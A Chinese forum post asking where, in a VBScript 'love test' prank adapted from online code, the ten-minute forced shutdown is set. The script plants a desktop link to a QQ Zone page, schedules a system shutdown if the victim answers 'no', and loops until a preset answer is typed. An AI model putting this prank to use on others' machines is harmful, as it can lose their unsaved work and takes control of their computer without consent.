该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
有没有大佬帮忙看看,点击否认后10分钟后注销的代码在哪里,麻烦指正一下,这个是网上找的源代码再自己弄了下的,谢谢了
msgbox("请先关闭所有软件")
const title = "爱情测试"
const yourname = "1"
const question = "你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。"
const info = "你是不是我老婆/老公。"
const scend = "你说出了你的心扉,那你就是我的老公/老婆了。"
Set Seven = WScript.CreateObject("WScript.Shell")
strDesktop = Seven.SpecialFolders("AllUsersDesktop")
set oShellLink = Seven.CreateShortcut(strDesktop & "\Seven.url")
oShellLink.TargetPath = "http://user.qzone.qq.com/985390927"
oShellLink.Save
Sub ak47
Set oShellLink=Nothing
seven.Run "notepad",3
WScript.Sleep 500
seven.SendKeys " I "
WScript.Sleep 500
seven.SendKeys "L"
WScript.Sleep 500
seven.SendKeys "o"
WScript.Sleep 500
seven.SendKeys "v"
WScript.Sleep 500
seven.SendKeys "e "
WScript.Sleep 500
seven.SendKeys "Y"
WScript.Sleep 500
seven.SendKeys "o"
WScript.Sleep 500
seven.SendKeys "u Too"
End Sub
se_key = (MsgBox("你是我老婆/老公么?",4,"Seven_下午"&Time))
If se_key=6 Then
Call ak47
Else
seven.Run "shutdown.exe -s -t 600"
agn=(MsgBox ("你死定了,在给你一次机会,你是不是",52,"提示"))
If agn=6 Then
seven.Run "shutdown.exe -a"
MsgBox "好老婆/老公,你真乖",,"恭喜"
WScript.Sleep 500
Call ak47
Else
MsgBox "我生气了",48,"wo cao"
End If
End If
dim youranswer
do
youranswer = inputbox(question, title)
if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation+vbokonly, title
msgbox("从今以后我会爱你,宠你")
msgbox("带你吃好吃的,玩好玩的")
msgbox("生孩子保大")
msgbox("钱都给你")
msgbox("我们会永远幸福的")
msgbox("Mua")
msgbox("Mua")
msgbox("Mua")
msgbox("Mua")
msgbox("Mua")